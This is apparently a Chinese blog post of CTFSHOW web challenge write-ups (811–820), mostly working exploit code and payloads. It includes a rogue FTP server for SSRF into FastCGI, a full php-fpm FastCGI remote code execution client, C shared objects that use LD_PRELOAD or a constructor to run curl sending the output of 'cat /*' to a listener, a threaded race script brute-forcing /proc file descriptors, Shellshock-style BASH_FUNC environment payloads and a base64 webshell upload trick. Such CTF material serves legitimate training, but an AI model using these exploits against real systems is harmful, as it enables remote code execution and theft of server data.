CTFSHOW 常用姿势篇（811-820）

yu22x

已于 2022-06-06 14:36:59 修改

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分类专栏： CTFSHOW web入门系列文章标签： ctf php python

于 2022-04-17 12:40:24 首次发布

本文链接：https://blog.csdn.net/miuzzx/article/details/124038567

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CTFSHOW 常用姿势篇

群主在视频里面已经讲解的很清楚了，下面内容有些简略，就当补充下payload了。

文章目录

CTFSHOW 常用姿势篇

web811

1、搭建恶意ftp服务器

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',4566)) #端口可改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

在vps上运行python shell.py

2、利用gopherus生成payload
在这里插入图片描述
只取下划线后面的部分
3、vps开启监听 nc -lvp 4567
4、发送payload

ile=ftp://x.x.x.x:4566&content=gopherus生成的payload(只取下划线后面的内容，且不需要再次编码)

5、得到flag
在这里插入图片描述

web812

exp

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

用法：
python exp.py -c ‘<?php system("cat /f*");?>’ -p 28074 pwn.challenge.ctf.show /usr/local/lib/php/System.php

端口改成自己的就可以了。

web813

大致过程就是自己生成一个mysqli.so（mysqli的扩展），然后扩展里面有ctfshow这个函数。
题目调用ctfshow函数的时候就会去扩展里面找（php里面没有这个函数）。
可以采用php源码中的ext_skel.php来生成。
一般在ext目录下。
具体步骤如下：

1、php ext_skel.php --ext ctfshow --std
运行成功后会在当前目录下生成扩展名目录
2、进入到目录下，找到.c文件并编辑。
修改内容有如下两处
在这里插入图片描述

3、依次执行如下命令
phpize
./configure
make && make install
生成后告知具体在哪个位置

扩展的路径在phpinfo信息中可以看到

import requests
url="http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/"
data={'file':'/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so','content':open('ctfshow.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run')

还有个预期解的方法，其实就是打9000端口，可以参考下web811

web814

a.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
        system("curl http://url:port?s=`cat /*`");
}
int getuid()
{
        if(getenv("LD_PRELOAD")==NULL){ return 0;}
        unsetenv("LD_PRELOAD");
        payload();
}

gcc -c -fPIC a.c -o hack&&gcc --share hack -o hack.so
生成恶意so文件

import requests
url="http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/"
data={'file':'/tmp/hack.so','content':open('hack.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/hack.so')

web815

上一题的方法这题也适用,但是这个题考的是下面这种方式：

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;

__attribute__ ((__constructor__)) void hack(void)
{
unsetenv("LD_PRELOAD");
system("curl http://xxx:4567?s=`cat /*`");
}

web816

生成so文件的方法同上。只不过不能直接上传文件了，但是可以强制上传生成临时文件。
vps开启监听即可。

import requests
url="http://cfab7d48-edbe-458a-8314-731989ccfcc1.challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
files={'file':open('hack.so','rb').read()}
response=requests.post(url,files=files)
response=requests.post(url,files=files)
html = response.text
print(html)

web817

同群友挑战套娃shell

web818

上传一个so文件(so文件可以看下815、814）

# coding: utf-8

import urllib.parse
import  threading, requests
import socket
import re
port= 28133
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1

	'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
l=str(len(open('hack.so','rb').read()+b'\n'*1024*200)).encode()
def upload():
	while True:
		s=socket.socket()
		s.connect(('pwn.challenge.ctf.show',port))	
		x=b'''POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Content-Length: '''+l+b'''
Content-Type: application/x-www-form-urlencoded
Connection: close

'''+open('hack.so','rb').read()+b'\n'*1024*200+b'''

'''
		s.send(x)
		s.close()

def bruter():
	while True:
		for fd in range(3,40):
			print(fd)
			s=socket.socket()
			s.connect(('pwn.challenge.ctf.show',port))
			s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Connection: close

'''.encode())
			print(s.recv(2048).decode())
			s.close()


for i in range(30):
    t = threading.Thread(target=upload)
    t.start()
for j in range(30):
    a = threading.Thread(target=bruter)
    a.start()

web819

payload
?env=BASH_FUNC_whoami%25%25=() { cat /flag; }
具体做法可以看下群主在b站发的视频
https://www.bilibili.com/video/BV1TY4y1C7EF?spm_id_from=333.999.0.0
从51分钟开始看即可。
这里简单总结下
破壳漏洞本来是可以这样使用
env=hack=() { :; }; ls
类似于创建了一个函数，而函数体外的内容可以执行。
修复内容如下:
在这里插入图片描述
这样的话，因为php代码后面又执行了whoami命令，所以可以自己创建一个whoami函数，而函数体中执行我们想用的命令。
?env=BASH_FUNC_whoami%%=() { id;}

web820

右键查看html源码会发现存在upload.php，访问得到源码。
在这里插入图片描述
会将我们上传的图片base64解码后写入到shell.php中，而在base64中是4位4位进行解码的，所以可能需要进行补位。但是不会超过4，所以就一位一位来试就可以了。

其中11是补的位数。后面是我们上传的木马的base64。如果没成功就算是1或者111。